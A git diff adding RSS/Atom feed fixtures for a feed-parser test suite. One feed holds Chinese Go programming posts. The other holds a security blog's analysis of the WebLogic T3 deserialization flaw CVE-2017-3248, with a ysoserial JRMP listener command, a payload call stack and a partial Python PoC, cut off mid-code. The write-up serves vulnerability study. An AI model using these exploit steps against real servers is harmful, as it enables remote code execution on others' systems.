+ tag:mlog.club,2019-09-03:/topic/604 + + 更新内容 新增内容专栏功能 新增好博客导航功能 后台支持多 Tab 页签,操作更方便 完善后台功能 修复各种 BUG 交流群 扫码加好友进群交流,加好友请备注:mlog 关联项目 mlog 为 https://mlog.club 提供数据支撑,基于Golang搭建。 项目地址:https://github.com/mlogclub/mlog mlog-club-site https://mlog.club 的前端页面服务,基于nuxt.js搭建。 项目地址:https:/... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 优秀开源项目推荐:Bistoury + 2019-08-28T19:12:48+08:00 + tag:mlog.club,2019-08-28:/topic/603 + + 项目地址 https://github.com/qunarcorp/bistoury 简介 Bistoury 是去哪儿网开源的一个对应用透明,无侵入的 java 应用诊断工具,用于提升开发人员的诊断效率和能力。 Bistoury 的目标是一站式 java 应用诊断解决方案,让开发人员无需登录机器或修改系统,就可以从日志、内存、线程、类信息、调试、机器和系统属性等各个方面对应用进行诊断,提升开发人员诊断问题的效率和能力。 Bistoury 在公司内部原有 agent 的基础上集成 Alibaba 开... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 优秀开源项目推荐:hope-boot + 2019-08-28T19:04:49+08:00 + tag:mlog.club,2019-08-28:/topic/602 + + 项目地址 https://github.com/hope-for/hope-boot 项目介绍 ?? 一款现代化的脚手架项目。企业开发?接外包?赚外快?还是学习?这都能满足你,居家必备,值得拥有? 整合 Springboot2,单点登陆 + tk.mybatis+shiro+redis+thymeleaf+maven+swagger 前后端分离接口管理 + 代码生成 + 定时任务 + 数据库版本管理 flyway+hutool 工具包,等实用技术。 文档 使用说明:https://github.c... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 计数面试必备基础知识 + 2019-08-28T19:00:14+08:00 + tag:mlog.club,2019-08-28:/topic/601 + + 计数面试必备基础知识 + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 关于Python的面试题 + 2019-08-28T15:54:03+08:00 + tag:mlog.club,2019-08-28:/topic/600 + + Python 语言特性 1 Python 的函数参数传递 看两个例子: a = 1 def fun(a): a = 2 fun(a) print a # 1 a = [] def fun(a): a.append(1) fun(a) print a # [1] 所有的变量都可以理解是内存中一个对象的 “引用”,或者,也可以看似 c 中 void * 的感觉。 通过id来看引用a的内存地址可以比较理解: a = 1 def fun(a): print "func_... + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + gorm修改表字段备注,及表注释 + 2019-08-23T17:38:37+08:00 + tag:mlog.club,2019-08-23:/topic/597 + + 模型表设置 package models import ( "github.com/jinzhu/gorm" ) type Book struct { gorm.Model Name string `json:"name" gorm:"type:varchar(20) not null comment '书名';"` Count string `json:"count" gorm:"type:varchar(10) not null comment '价格';... + + https://file.mlog.club/images/2019/11/20/3c85d51d6c402a135a25349237c70654.jpg + 935876982@qq.ocm + + + + `好博客`导航优质博客提交入口 + 2019-08-22T18:23:22+08:00 + tag:mlog.club,2019-08-22:/topic/595 + + 为什么要做博客导航 我在网上看到过很多博客导航,但是收录的博客质量参差不齐,而且没有专业编程相关的技术类型博客导航,有很多优质好博客没有得到很好的展示机会,好博客导航主要就是为了解决一问题,让独立博主能够很好的展示自己,让自己的文章能够帮助更多人,让更多的程序员能够关注到自己喜欢的博客。 后续我们还会对所有收录的博客进行分类、打标签,对优质博客进行推荐。 收录规则 只收录编程相关的技术博客 拒绝 SEO 类型博客 拒绝大量转载文章的博客 独立博客优先 如何提交 请在该帖子评论区提交你的博客地... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 项目运行起来,需要单独配置sitemap.xml文件吗 + 2019-08-22T16:57:24+08:00 + tag:mlog.club,2019-08-22:/topic/594 + + gorm 支持迁移表字段, 表名注释, 表字段备注吗 + + https://file.mlog.club/images/2019/11/20/3c85d51d6c402a135a25349237c70654.jpg + 935876982@qq.ocm + + + + Go 资源大全中文版 + 2019-08-13T15:00:33+08:00 + tag:mlog.club,2019-08-13:/topic/239 + + 我想很多程序员应该记得 GitHub 上有一个 Awesome - XXX 系列的资源整理。本列表翻译自awesome-Go Awesome 系列虽然挺全,但基本只对收录的资源做了极为简要的介绍,如果有更详细的中文介绍,对相应开发者的帮助会更大。这也是我们发起这个开源项目的初衷。 如何为列表贡献新资源? 欢迎大家为列表贡献高质量的新资源,提交 PR 时请参照以下要求: 请确保推荐的资源自己使用过 提交 PR 时请注明推荐理由 资源列表管理收到 PR 请求后,会定期(每周)在微博转发本周提交的 P... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + mlog-club内容图片地址更换 + 2019-08-13T10:22:18+08:00 + tag:mlog.club,2019-08-13:/topic/237 + + 之前 https://mlog.club 的图片是放到七牛云的,后来 https://mlog.club 改用阿里云的 oss 来存储图片,所以使用阿里云 oss 的回源功能将七牛云的图片迁移到阿里云了,但是由于七牛云没有目录的概念,而且阿里云 oss 的回源功能又没法指定子目录,所以图片回源到 oss 之后全部放到根目录了,非常难受。所以我写了个方法将图片迁移到子目录中去。 先迁移图片 package main import ( "fmt" "github.com/aliyun/aliyun-o... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + golang 将数据库转换为gorm结构 + 2019-08-09T13:22:35+08:00 + tag:mlog.club,2019-08-09:/topic/236 + + gormt gorm mysql 数据库转 struct 工具, 可以将 mysql 数据库自动生成 golang sturct 结构,带大驼峰命名规则。带 json 标签 1. 通过当前目录 config.toml 文件配置默认配置项 out_dir = "." # 输出目录 singular_table = false # 表名复数,是否大驼峰构建 参考:gorm.SingularTable simple = false #简单输出 isJsonTag = true #是否打json标... + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + gorose-最风骚的golang orm + 2019-08-08T15:12:23+08:00 + tag:mlog.club,2019-08-08:/topic/233 + + gorose, 最风骚的 go orm, 拥有链式操作, 开箱即用, 一分钟上手等八大风骚, 让 golang 操作数据库成为一种享受, 妈妈再也看不到我处理数据的痛苦了, 下面就让我一一讲解 gorose 的风情 风骚一 : 开箱即用, 一分钟上手 db,_ := gorose.Open("xxxxxx这里是配置文件中的数据库配置") db.Query("select * from user") // 原生sql执行, 返回格式化后的结果 风骚二 : 链式操作, 尽显妩媚之姿 db.Tab... + + https://file.mlog.club/images/2019/11/20/10dea401d336f29c5e25c078371a5add.jpg + lemonwater@yeah.net + + + + Go 简易教程 + 2019-08-07T14:41:05+08:00 + tag:mlog.club,2019-08-07:/topic/231 + + 关于本书 授权许可 本书中的内容使用 CC BY-NC-SA 4.0(署名 - 非商业性使用 - 相同方式共享 4.0 许可协议)授权。你不必为此书付费。 你可以免费的复制、发布、修改或者展示此书。但是,这本书的版权归原作者 Karl Seguin 所有,不要将此书用于商业目的。 关于许可证的全部内容你可以浏览以下网站: http://creativecommons.org/licenses/by-nc-sa/4.0/ 最新版本 这本书的最新版本可以在以下网站获得: http://github.... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Go语言社区系统mlog-club 1.0.5 发布,使用nuxt.js渲染界面 + 2019-08-07T09:49:06+08:00 + tag:mlog.club,2019-08-07:/topic/230 + + 项目地址 体验地址:https://mlog.club Github:https://github.com/mlogclub/mlog 本次更新内容 前后端分离,使用 nuxt.js ( https://nuxtjs.org/ ) 渲染界面,Golang 仅提供数据支撑。 功能简介 多用户博客 轻论坛 站内消息 站内收藏 机器人搜集公众号文章 用户登录、注册,支持 Github 账号登录 技术栈 iris (https://github.com/kataras/iris) mvc... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + the-way-to-go_ZH_CN: 《The Way to Go》中文译本,中文正式名《Go 入门指南》 + 2019-08-07T09:40:29+08:00 + tag:mlog.club,2019-08-07:/topic/222 + + 项目名称:the-way-to-go_ZH_CN 项目地址:https://github.com/unknwon/the-way-to-go_ZH_CN 项目简介:《The Way to Go》中文译本,中文正式名《Go 入门指南》 《Go 入门指南》 在接触 Go 语言之后,对这门编程语言非常着迷,期间也陆陆续续开始一些帮助国内编程爱好者了解和发展 Go 语言的工作,比如开始录制视频教程《Go 编程基础》。但由于目前国内并没有比较好的 Go 语言书籍,而国外的优秀书籍因为英文的缘故在一定程度上也为不... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 在Golang中实现RPC + 2019-08-06T19:07:15+08:00 + tag:mlog.club,2019-08-06:/topic/198 + + 什么是 RPC 远程过程调用(Remote Procedure Call,缩写为 RPC)是一个计算机通信协议。远程调用是因为被调用方法的具体实现不在程序运行本地,而是在远程服务器上。需要将对象名、函数名、参数等传递给远程服务器,服务器将处理结果返回给客户端。RPC 的消息可以通过 TCP、UDP 或者 HTTP 等传输。 在 Golang 中实现 RPC 的方式大体有三种,分别来看。 net/rpc Golang 官方的net/rpc包使用encoding/gob进行编解码,支持 tcp 或 ht... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Java程序员Go语言入门指南 + 2019-08-06T18:50:41+08:00 + tag:mlog.club,2019-08-06:/topic/197 + + 为什么是 Go 语言 类 C 的语法,这意味着 Java、C#、JavaScript 程序员能很快的上手 有自己的垃圾回收机制 跨平台、编译即可执行无需安装依赖环境 支持反射 Go 语言简介 Go 语言(或 Golang)起源于 2007 年,并在 2009 年正式对外发布。Go 是非常年轻的一门语言,它的主要目标是 “兼具 Python 等动态语言的开发速度和 C/C++ 等编译型语言的性能与安全性”。 数据类型 数据类型 说明 bool 布尔 string 字符串 ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + BaiduPCS-Go: 百度网盘客户端 - Go语言编写 + 2019-08-06T14:41:14+08:00 + tag:mlog.club,2019-08-06:/topic/191 + + 项目名称:BaiduPCS-Go 项目地址:https://github.com/iikira/BaiduPCS-Go 项目简介:百度网盘客户端 - Go 语言编写 BaiduPCS-Go 百度网盘客户端 仿 Linux shell 文件处理命令的百度网盘命令行客户端. This project was largely inspired by GangZhuo/BaiduPCS 解决错误代码 4, No permission to do this operation BaiduPCS-Go... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Golang 并发问题(五)goroutine 的调度及抢占 + 2019-08-05T18:54:41+08:00 + tag:mlog.club,2019-08-05:/topic/132 + + 写在前面 过去 Web 开发的工作比较少涉及到并发的问题,每个用户请求在独立的线程里面进行,偶尔涉及到异步任务但是线程间数据同步模型非常简单,因此并未深入探究过并发这一块。最近在写游戏相关的服务端代码时发现数据的并发同步场景非常多,因此花了一点时间来探索和总结。这是一个系列文章,本文为第五篇。 就像前面几篇文章所描述的,开发者在日常开发中对并发的关注点主要是锁、管道(channel),比较少涉及到协程(goroutine) 的调度。不过了解协程的调度机制能够让开发者更好地认识并发的本质,从而在日常编码过... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Golang 并发问题(四)之单核上的并发问题 + 2019-08-05T18:54:13+08:00 + tag:mlog.club,2019-08-05:/topic/131 + + 写在前面 过去 Web 开发的工作比较少涉及到并发的问题,每个用户请求在独立的线程里面进行,偶尔涉及到异步任务但是线程间数据同步模型非常简单,因此并未深入探究过并发这一块。最近在写游戏相关的服务端代码时发现数据的并发同步场景非常多,因此花了一点时间来探索和总结。这是一个系列文章,本文为第四篇。 本文简单介绍 Golang 中配置可用 CPU 核的方法及其可能导致的误解。 gotour 上的乌龙案例 在上一篇博客中介绍了 Golang 并发编程中 map 类型的 “脆弱” 性。具体地,Golang 的... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 浅谈 Golang 中数据的并发同步问题(三) + 2019-08-05T18:53:45+08:00 + tag:mlog.club,2019-08-05:/topic/130 + + 写在前面 过去 Web 开发的工作比较少涉及到并发的问题,每个用户请求在独立的线程里面进行,偶尔涉及到异步任务但是线程间数据同步模型非常简单,因此并未深入探究过并发这一块。最近在写游戏相关的服务端代码时发现数据的并发同步场景非常多,因此花了一点时间来探索。这是一个系列文章,本文为第三篇。 本文简单介绍 Golang 中 map 类型的安全使用。 Golang 中 map 的使用 在业务逻辑中保存 key-value 是一个非常普遍的需求,因此 Map 的使用场景非常多。 不允许并发读写的 map ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 浅谈 Golang 中数据的并发同步问题(二) + 2019-08-05T18:53:21+08:00 + tag:mlog.club,2019-08-05:/topic/129 + + 写在前面 过去 Web 开发的工作比较少涉及到并发的问题,每个用户请求在独立的线程里面进行,偶尔涉及到异步任务但是线程间数据同步模型非常简单,因此并未深入探究过并发这一块。最近在写游戏相关的服务端代码时发现数据的并发同步场景非常多,因此花了一点时间来探索。这是一个系列文章,本文为第二篇。 本文通过一个例子来引出 Golang 中的数据并发同步问题,并通过使用 atomic 包的方式来避免数据竞争问题。 原子性及 Go 中 atomic 包的使用 再提非常原始的数据竞争问题 下面的代码模拟了为一个用... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 浅谈 Golang 中数据的并发同步问题(一) + 2019-08-05T18:52:57+08:00 + tag:mlog.club,2019-08-05:/topic/128 + + 写在前面 过去 Web 开发的工作比较少涉及到并发的问题,每个用户请求在独立的线程里面进行,偶尔涉及到异步任务但是线程间数据同步模型非常简单,因此并未深入探究过并发这一块。最近在写游戏相关的服务端代码时发现数据的并发同步场景非常多,因此花了一点时间来探索。 本文通过一个例子来简单引出 Golang 中的数据并发同步问题,并通过简单加锁的方式来避免数据竞争问题。 从一个例子看线程安全与数据竞争问题 一个非常原始的数据竞争问题 下面的代码模拟了为一个用户(Person)发放金币(Money)的代码,其... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Golang 闭包内的外部变量 + 2019-08-05T18:51:46+08:00 + tag:mlog.club,2019-08-05:/topic/127 + + 写在前面 为了在不同的线程之间转移任务,最近项目代码中大量地使用了闭包:在一个 goroutine(协程)中把一段逻辑封装成为匿名函数,然后传入到另一个线程的 channel(通道)变量去排队运行。 在业务逻辑的测试过程中发现了一个怪异的点,查证后发现原来是闭包的使用认知存在问题,这里作为一个知识点总结一下。 闭包(匿名函数) 教科书式的定义可以这么理解闭包: 闭包是可以包含自由(未绑定到特定对象)变量的代码块,这些变量不在这个代码块内或者任何全局上下文中定义,而是在定义代码块的环境中定义。要执... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Golang 异步任务执行器——Gochan + 2019-08-05T18:51:02+08:00 + tag:mlog.club,2019-08-05:/topic/126 + + 写在前面 在最近编码过程中,大量使用了异步任务。在自己需求的基础上抽象出一个异步任务执行器,应该有挺多类似的需求,于是开源出来。项目地址为《GitHub - chalvern/gochan》,还希望大家能够不吝 star ✨。 项目背景 一般情况下,我们可以通过定义一个带缓冲的 channel 变量接收某种事件,然后通过一个专用的 goroutine 消费执行这个 channel 中的事件。 但是如果相关事件很多的时候,一个 goroutine 不够用了怎么办呢?或许我们会想到多创建几个专用的 go... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 电子书分享 + 2019-08-06T19:38:48+08:00 + tag:mlog.club,2019-08-06:/topic/40 + + 搜集各种电子书,如果有推荐的,请在评论中将地址贴出来,本站会尽快收录。 Golang Go 语言圣经(中文版) Go 零基础编程入门教程 Go RPC 开发指南 《Effective Go》中英双语版 Go 语言高级编程 Go 语言并发编程 深入解析 Go gobyexample 中文版 The Little Go Book GORM 中文文档 Go 语言标准库 Mastering GO(中文名:玩转 GO) 通过测试驱动开发学习 Go 语言 + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + mlog-wxbot使用帮助 + 2019-08-13T11:05:34+08:00 + tag:mlog.club,2019-08-13:/topic/22 + + 项目地址 https://github.com/mlogclub/mlog-wxbot 功能简介 机器人关注技术相关的公众号,当这些公众号推送文章的时候,机器人就能够收到消息,然后将消息对应的文章内容抓取下来,通过该方式能第一时间获取到自己关注的公众号中的新文章。 在抓取到微信的文章之后,会利用百度 ai 自动为文章分组打标签。 然后根据配置会将文章推送到指定的接口,以实现文章发表功能。 存在的问题 因为微信机器人使用的是网页版微信 api,所以要求你的微信号码能够登录网页版微信,并不是所有... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + BBS-GO使用帮助 + 2019-07-01T10:51:41+08:00 + tag:mlog.club,2019-07-01:/topic/17 + + 文档地址 http://docs.bbs-go.com/ 交流群 QQ 群号:653248175 扫码进群: + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + go mod 的使用 + 2019-06-24T11:18:04+08:00 + tag:mlog.club,2019-06-24:/topic/9 + + 从 Go1.11 开始,golang 官方支持了新的依赖管理工具go mod。 命令行说明 ➜ ~ go mod Go mod provides access to operations on modules. Note that support for modules is built into all the go commands, not just 'go mod'. For example, day-to-day adding, removing, upgrading, and downg... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + +> + + 从 Go1.11 开始,golang 官方支持了新的依赖管理工具go mod。 命令行说明 ➜ ~ go mod Go mod provides access to operations on modules. Note that support for modules is built into all the go commands, not just 'go mod'. For example, day-to-day adding, removing, upgrading, and downg... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/https-panicall-github-io-feed-xml.xml b/tests/feedlib/testdata/parser/warn/https-panicall-github-io-feed-xml.xml new file mode 100644 index 0000000..902708c --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-panicall-github-io-feed-xml.xml @@ -0,0 +1,3528 @@ +Jekyll2020-02-07T15:06:45+00:00/feed.xmlPanicall’s Blogsecurity knowledge, vulnerabilities details, fuzzing method, etc.Weblogic t3反序列化之三: jrmp2020-02-06T00:00:00+00:002020-02-06T00:00:00+00:00/2020/02/06/Weblogic%20T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E4%B8%89:%20JRMP<h1 id="weblogic-t3反序列化之三-jrmp">Weblogic T3反序列化之三: JRMP</h1> + +<h2 id="0x00-背景">0x00 背景</h2> + +<p>​ 前面两篇文章分别介绍了CVE-2015-4852和其补丁绕过版本CVE-2016-0638。</p> + +<p>​ 其实CVE-2016-0638就是在CVE-2015-4852的基础上增加了一层反序列化,有点像二进制里面的壳,把payload攻击链都隐藏起来了,而程序执行的时候,杀毒软件只扫描了入口点处的代码,即壳代码,真正的攻击代码是由壳引导的。CVE-2016-0638引入的<strong>StreamMessageImpl</strong>就是壳。</p> + +<p>​ 本文介绍的利用JRMP协议执行T3反序列化漏洞其实也就是利用另一个反序列化的点,且同样也不在前面已设的补丁黑名单中。</p> + +<p>​</p> + +<h2 id="0x01-漏洞描述">0x01 漏洞描述</h2> + +<p>​ 如上节所述,这个漏洞(CVE-2017-3248)就是利用JRMP协议执行反序列化的一种方式。与前面漏洞不一样的是,这里引入了JRMP的概念,需要一台远程RMI服务器协同才能完成攻击。</p> + +<h2 id="0x02-漏洞调试">0x02 漏洞调试</h2> + +<h3 id="环境搭建">环境搭建</h3> + +<p>​ 见<strong>参考 3</strong>:</p> + +<ul> + <li> + <p>Weblogic Docker启动</p> + </li> + <li> + <p>IDEA 调试</p> + </li> + <li> + <p>RMI服务器监听:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “whoami”</p> + </li> + <li> + <p>PoC执行,见<strong>0x03 PoC</strong></p> + + <p>关于docker的启动和IDEA的调试,这里就不说了。</p> + </li> +</ul> + +<h3 id="调试">调试</h3> + +<p>​ 这里的调试分两部分介绍:</p> + +<ol> + <li> + <p>RemoteObjectInvocationHandler</p> + </li> + <li> + <p>RMI</p> + + <p>先看第一部分,PoC用到的反序列化点<strong>RemoteObjectInvocationHandler</strong>。</p> + </li> +</ol> + +<p><img src="/images/Weblogic/image-20200206232141135.png" alt="image-20200206232141135" /></p> + +<p>​ <em>信息 1</em></p> + +<p>​ 上述图片中,可以看到,这里和之前CVE-2015-4852的栈是一模一样的,只是这里的点是<strong>RemoteObjectInvocationHandler</strong>,而不是<strong>AnnotationInvocationHandler</strong>。</p> + +<p>​ 看名字也知道,这个跟远程有关系。确实,这里是JRMP,远程调用了。关于JRMP可以看看<strong>参考 1</strong> 。</p> + +<p>​ 需要搭建一个远程的RMI服务器,这是攻击者控制着的服务器,攻击者将payload放在上面,如下就是本文使用的RMI服务器,在1099端口跑了个监听服务.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>base<span class="o">)</span> panicall@97:~/tools<span class="nv">$ </span>java <span class="nt">-cp</span> ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 <span class="s2">"whoami"</span> +<span class="k">*</span> Opening JRMP listener on 1099 +Have connection from /172.19.0.2:45942 +Reading message... +Is DGC call <span class="k">for</span> <span class="o">[[</span>0:0:0, <span class="nt">-416083434</span><span class="o">]]</span> +Sending <span class="k">return </span>with payload <span class="k">for </span>obj <span class="o">[</span>0:0:0, 2] +Closing connection +</code></pre></div></div> + +<p>​ <em>信息 2</em></p> + +<p>​ 可以看到RMI服务器已经向受害Weblogic主机发送了payload,我们看看受害的weblogic主机上完整的调用栈:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>transform:119, InvokerTransformer (org.apache.commons.collections.functors) +transform:122, ChainedTransformer (org.apache.commons.collections.functors) +get:157, LazyMap (org.apache.commons.collections.map) +invoke:51, AnnotationInvocationHandler (sun.reflect.annotation) +entrySet:-1, $Proxy58 (com.sun.proxy) +readObject:328, AnnotationInvocationHandler (sun.reflect.annotation) +invoke0:-1, NativeMethodAccessorImpl (sun.reflect) +invoke:39, NativeMethodAccessorImpl (sun.reflect) +invoke:25, DelegatingMethodAccessorImpl (sun.reflect) +invoke:597, Method (java.lang.reflect) +invokeReadObject:969, ObjectStreamClass (java.io) +readSerialData:1871, ObjectInputStream (java.io) +readOrdinaryObject:1775, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +defaultReadFields:1969, ObjectInputStream (java.io) +readSerialData:1893, ObjectInputStream (java.io) +readOrdinaryObject:1775, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +readObject:349, ObjectInputStream (java.io) +executeCall:225, StreamRemoteCall (sun.rmi.transport) +invoke:359, UnicastRef (sun.rmi.server) +dirty:-1, DGCImpl_Stub (sun.rmi.transport) +makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport) +registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport) +registerRefs:121, DGCClient (sun.rmi.transport) +read:294, LiveRef (sun.rmi.transport) +readExternal:473, UnicastRef (sun.rmi.server) +readObject:438, RemoteObject (java.rmi.server) +invoke0:-1, NativeMethodAccessorImpl (sun.reflect) +invoke:39, NativeMethodAccessorImpl (sun.reflect) +invoke:25, DelegatingMethodAccessorImpl (sun.reflect) +invoke:597, Method (java.lang.reflect) +invokeReadObject:969, ObjectStreamClass (java.io) +readSerialData:1871, ObjectInputStream (java.io) +readOrdinaryObject:1775, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +defaultReadFields:1969, ObjectInputStream (java.io) +readSerialData:1893, ObjectInputStream (java.io) +readOrdinaryObject:1775, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +readObject:349, ObjectInputStream (java.io) +readObject:66, InboundMsgAbbrev (weblogic.rjvm) +read:38, InboundMsgAbbrev (weblogic.rjvm) +readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm) +init:213, MsgAbbrevInputStream (weblogic.rjvm) +dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm) +dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3) +dispatch:387, BaseAbstractMuxableSocket (weblogic.socket) +readReadySocketOnce:967, SocketMuxer (weblogic.socket) +readReadySocket:899, SocketMuxer (weblogic.socket) +processSockets:130, PosixSocketMuxer (weblogic.socket) +run:29, SocketReaderRequest (weblogic.socket) +execute:42, SocketReaderRequest (weblogic.socket) +execute:145, ExecuteThread (weblogic.kernel) +run:117, ExecuteThread (weblogic.kernel) +</code></pre></div></div> + +<p>​ <em>信息 3</em></p> + +<p>​ 这个栈有点长,但是消息非常完整和清晰。</p> + +<ol> + <li><strong>RemoteObjectInvocationHandler</strong>的readObject被调用,其调用了<strong>UnicastRef::readExternal</strong>,参见<strong>信息1</strong>。</li> + <li> + <p><strong>UnicastRef::readExternal</strong>一路向上,直接反序列化远程RMI服务器推送的payload。 +<img src="/images/Weblogic/image-20200207001900877.png" alt="image-20200207001900877" /></p> + </li> + <li>而ConnectInputStream里面的内容就是RMI服务器推送的payload了,即ysoserial的CommonsCollections1。AnnotationInvocationHandler加Transformer,经典的payload,详情见第一篇文章。</li> +</ol> + +<h2 id="0x03-poc">0x03 PoC</h2> + +<p>​ PoC和前面CVE-2015-4852的很类似,是一个T3交互的框架代码+Payload。</p> + +<p>​ 框架代码是一样的,只是负责实现T3协议的握手和数据传输,这里仍然拷贝一下:</p> + +<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python +# coding: utf-8 +</span> +<span class="kn">import</span> <span class="nn">socket</span> +<span class="kn">import</span> <span class="nn">struct</span> +<span class="kn">import</span> <span class="nn">time</span> + +<span class="k">def</span> <span class="nf">exp</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span> + + <span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> + <span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span> + <span class="n">data</span> <span class="o">=</span> <span class="s">""</span> + <span class="k">try</span><span class="p">:</span> + <span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">server_address</span><span class="p">)</span> + <span class="c1"># Send headers +</span> <span class="c1">#headers = 't3 12.2.1nAS:255nHL:19nn'.format(port) +</span> <span class="c1">#headers = bytes(headers, encoding = "utf8") +</span> <span class="c1">#sock.sendall(headers) +</span> <span class="c1">#time.sleep(1) +</span> <span class="c1">#data = sock.recv(1024) +</span> + <span class="n">xx</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">xx</span><span class="p">)</span> + <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> + + <span class="c1"># java -jar ysoserial.jar JRMPClient 172.16.100.97:1099 &gt; ./jrmpclient1 +</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'./jrmpclient1'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> + <span class="n">payload_obj</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> + <span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> + <span class="n">payload1</span> <span class="o">=</span> <span 